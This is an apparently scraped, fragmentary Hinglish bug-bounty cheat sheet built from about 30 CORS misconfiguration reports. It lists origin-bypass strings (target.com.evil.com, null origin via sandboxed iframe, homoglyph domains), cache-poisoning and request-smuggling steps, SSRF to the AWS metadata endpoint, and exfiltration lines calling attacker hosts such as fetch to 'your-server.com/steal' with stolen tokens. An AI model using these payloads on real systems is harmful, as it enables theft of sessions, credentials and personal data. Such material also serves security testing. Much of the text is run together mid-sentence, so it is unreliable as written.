// ORIGIN REFLECTION · REGEX BYPASS · NULL ORIGIN · CHAIN ATTACKS · CACHE POISON — 30 REAL BOUNTY REPORTS
/api/get_user_details endpoint par
Origin: https://evil-hacker.com bheja → Server ne bina whitelist
check ke Access-Control-Allow-Origin: https://evil-hacker.com + Allow-Credentials: true return kiya. Malicious site se victim ki UUID,
Email, Phone hacker ke server par leak./api/user, /api/profile, /api/account jaise endpoints Burp mein intercept karo.
Origin: https://evil.com add karo aur response check karo.
Access-Control-Allow-Origin reflect hua? Allow-Credentials: true bhi hai? = 🔴 Critical bug.
fetch(url, {credentials: 'include'}) jo victim ka data exfiltrate
kare.
ads.twitter.com ko target kiya
(jahan money involved hai). Internal API /i/api/1.1/ads/accounts/.../cards par Origin: https://attacker.com reflect hua + Credentials true. Victim ke
private API key + billing info leak.ads., business., payment., billing. — jahan paisa hai wahan
CORS loose hota hai.
Origin: https://attacker.com inject karo.
ads.,
staging., dev. environments./~username/emails.json endpoint par Origin reflect + Credentials true.
Hacker ne blog post mein script embed ki → Logged-in user ka private email auto-leak..json, /api/, /v1/
jaise paths mein sensitive data return hona check karo.
target.com hai ya nahi. Hacker ne Origin: https://target.com.evil.com bheja → Server ne allow kiya kyunki
"target.com" toh maujood hai. Par asli domain evil.com tha → Bank Balance
+ Transactions leak.evil.com kaam nahi karta, toh regex tricks start karo.
https://target.com.hacker.com bhejo (target name as subdomain of your
domain).
https://hacker-target.com bhejo (target name ka prefix with
dash).
https://target.com-hacker.com bhejo.
https://hacker-target.com bheja → Server ne sirf end-match kiya, dot
boundary check nahi kiya → Personal address + phone number leak from tracking API.sub.target.com allowed hai par evil.com nahi,
toh regex end-matching hai.
https://anythingtarget.com (bina dash ke).
https://anything-target.com (dash ke saath).
https://target.com.hacker.com (subdomain ban jaye).
localhost whitelist
kiya aur production mein hatana bhool gaya. Regex: .*\.localhost. Hacker
ne Origin: http://target.net.localhost bheja → Server ne allow kiya →
Internal cloud config tokens leak.http://localhost, http://127.0.0.1, http://0.0.0.0
http://target.com.localhost, http://127.0.0.1.target.com
http://dev.target.com.local, http://staging.target.com
http://localhost:3000, http://localhost:8080
with different ports.
target\.com (kahin bhi match). Origin: https://target.hacker.com bheja → "target" word beech mein mil gaya
→ Server ne "Trusted Partner" samajh ke Cart Details + Saved Address de diya.https://target.hacker.com (target word beech mein).
https://hacker.com/target.com (path mein target).
https://targetXcom.hacker.com (dot replaced with character).
^https?://.*target\.com (prefix
check). Origin: https://target.com_.hacker.com bheja → Server ne dekha
"target.com se start ho rahi hai" → Allow kiya. Par browser ke liye asli domain hacker.com tha.target.com_.hacker.com, target.com%0d.hacker.com
target.com@hacker.com, target.com#hacker.com
target.com.evil.com · evil-target.com · target.com_.evil.com · target.com@evil.com · target.com%60evil.com · targetcom.evil.comOrigin: null ko allow kiya (local files
+ sandboxed envs ke liye). Hacker ne <iframe sandbox="allow-scripts"> se request bheji → Browser ne auto
Origin: null bheja → GitLab ne Private API Tokens + Emails de diye.Origin: null bhejo aur response mein Access-Control-Allow-Origin: null check karo.
<iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html,...">
src="data:text/html,<script>fetch(...)</script>" se null
origin trigger karo.
.html file download karwao → Open karne par Origin: null bhejta hai.
/api/v1/cart/checkout_token par Origin: null allowed. Hacker ne "50% Discount Coupon" HTML file banayi →
Victim ne download karke kholi → Browser Origin: null bhejta hai →
Checkout token + session_id = Victim ke saved cards se shopping./checkout, /cart, /payment par null origin try karo.
fetch('https://your-server.com/steal?data=' + token)
*.target.com subdomains allow karti
thi. Hacker ne dev-test.target.com dhoondha jo S3 bucket se linked tha
par 404 de raha tha → S3 bucket claim kiya → Malicious JS host ki → Ab hacker ka code "Trusted
Subdomain" se run ho raha tha → Full session theft.subfinder, amass, assetfinder se saare subdomains nikaalo.
subjack,
nuclei -t takeovers/ se takeover-possible subdomains dhoondho.
Origin mein dalkar API response check karo.
help.target.com par
Reflected XSS mila (normally Low severity). API help.target.com ko trust
karti thi → XSS payload se api.target.com call ki → Credit Card info +
Order History churaya. Low XSS → Critical CORS chain!help., blog., support.,
status. — purane subdomains mein XSS hota hai.
fetch(api_url, {credentials: 'include'}) dalo.
navigator.sendBeacon() ya new Image().src se
nikalo.
window.postMessage use karti thi data transfer ke liye aur target origin
* (Any) tha. Hacker ne dashboard ko iframe mein load kiya → Dashboard ne
data postMessage(*) se bheja → Hacker ne listener laga ke Financial
Statements chura liye.postMessage search karo.
postMessage(data, '*') hai? = Bug! '*' matlab
koi bhi window receive kar sakta hai.
window.addEventListener('message', (e) => exfil(e.data))
X-Frame-Options missing = Chain possible.
cars.target.com aur hotels.target.com allow karta tha. Hacker ne cars.target.com/redirect?url=evil.com par Open Redirect dhoondha → Kuch
browsers/APIs mein redirect ke baad purana "trusted" origin persist karta hai → Booking History
+ CC last 4 digits chori./redirect?url=, /goto?, /link?, /out? parameters check karo.
Origin: https://attacker.com + cache
buster ?cb=123 bheja → Server ne reflect kiya aur response cache kar liya
(X-Cache: HIT). Ab har normal user ko bhi wahi "poisoned" response milta
tha jisme attacker.com allowed tha → Mass scale theft, bina victim ke kuch kiye.X-Cache, CF-Cache-Status, Age, Vary headers dhoondho.
Vary: Origin missing hai, toh cache poisoning possible hai.
Cache-Control: max-age dekho. Jitna lamba cache, utna zyada
impact.
/swagger-ui.html) mein "Try it out"
feature tha. Developer ne Swagger ko "Easy to Use" banane ke liye Access-Control-Allow-Origin: * + Credentials: true
set kiya → Swagger ke through patient_records API accessible → Health data leak./swagger-ui.html, /api/docs, /redoc, /graphql-playground try karo.
inurl:/swagger-ui.html site:target.com, inurl:/api-docs
null, https://target.com jaisa dikha sakta hai. Server ne dekha "string
mein target.com hai" → Access de diya. Hacker ne Safari-specific script se Passport Details +
Flight Bookings chura liye.Origin: null, https://target.com manually inject karke test
karo.
/proxy?url=... par Origin: * allowed tha. Hacker ne proxy se AWS metadata hit kiya: /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ AWS Access Key + Secret Key + Session Token = Poore cloud infrastructure ka Admin./proxy, /fetch, /url-preview, /image-resize?url=
Origin: evil.com test karo, usually relaxed hota hai.
169.254.169.254 (AWS), metadata.google.internal
(GCP) try karo.
127.0.0.1, 10.x.x.x, 172.16.x.x — internal admin panels dhoondho.
Content-Type: text/plain + GET method → Browser ne bina preflight ke seedha
request bhej di → Data leak.Content-Type: text/plain = No preflight needed.
X-Custom-Header hatao taaki preflight trigger na ho.
application/json → text/plain se server accept
kare toh preflight skip.
wss://) pe
koi Origin check nahi tha. Browsers WebSocket connections par Same-Origin Policy enforce nahi
karte. Hacker ne malicious page se new WebSocket('wss://target.com/ws')
se directly connect kiya → Real-time messages, notifications, private chats sab leak.WS filter lagao.
new WebSocket('wss://target.com/ws') try karo.
Access-Control-Allow-Origin: * daal do." → Backend secure par
CDN ne tod diya.CF-Ray
(Cloudflare), X-Akamai-*, X-Fastly-* headers
check karo.
X-Forwarded-Host, X-Original-URL se CDN ka
behavior change karo.
* tha →
Browser ne loose wala accept kiya → Financial transaction APIs se data leak.x-amzn-requestid, x-amz-apigw-id headers = AWS
API Gateway.
Access-Control-Allow-Origin headers hain? Browser pehla accept
karega.
tаrget.com (Cyrillic 'а') use kiya. Server ka string comparison match ho
gaya kyunki visual same tha. Punycode: xn--trget-g5a.com → Allowed as
trusted origin → Account data leak.а
(Cyrillic) instead of a, е instead of e, о instead of o.
xn--
prefix wale domains register karke CORS test karo.
%E2%80%8B
(zero-width space) origin mein inject karo.
Origin: https://evil.com inject kiya → Backend ne next user ki request mein
evil origin add kiya → Mass data theft.Content-Length aur Transfer-Encoding dono bhejo,
response timing check karo.
Origin: evil.com header dalo.
Vary: Origin header nahi bhej raha tha. CDN
ne pehli request ka response (attacker ka origin reflected) cache kiya → Ab har user ko wahi
poisoned response milta tha → Mass-scale silent data theft.Vary: Origin missing hai? = Cache poisoning possible.
/) par registered hai? Saari requests intercept ho rahi hain?
navigator.serviceWorker.register('/evil-sw.js') inject karo.
X-HTTP-Method-Override: PUT header → Server ne PUT ki tarah process kiya
par browser ne preflight nahi bheja → Data modification without CORS check.X-HTTP-Method-Override, X-Method-Override, _method parameter.
application/json → text/plain se preflight avoid
karo.
tenant-a.target.io, tenant-b.target.io. CORS trusted *.target.io. Hacker
ne apna trial account banaya (evil-tenant.target.io) → Ye automatically
trusted ban gaya → Kisi bhi tenant ka data access kar liya — Cross-tenant isolation fail.subdomain.target.com pattern hai? Free trial signup karo.
Origin: http://trusted.target.com (HTTP bina 's') bheja → Server ne allow
kiya! Agar attacker same network par ho (café WiFi) toh HTTP request ko intercept + modify kar
sakta hai → Even HTTPS sites se data churaya ja sakta hai.https:// →
http:// se Origin bhejo, accept hota hai ya nahi.
/graphql) par introspection
enabled + CORS wildcard (*) tha. Hacker ne malicious page se cross-origin
introspection query bheji → Poora database schema + user queries leak → Sensitive mutations
discover karke unauthorized actions perform kiye./graphql, /v1/graphql, /api/graphql, /query
__schema query bhejo.
deleteUser, updateRole, transferFunds dhoondho.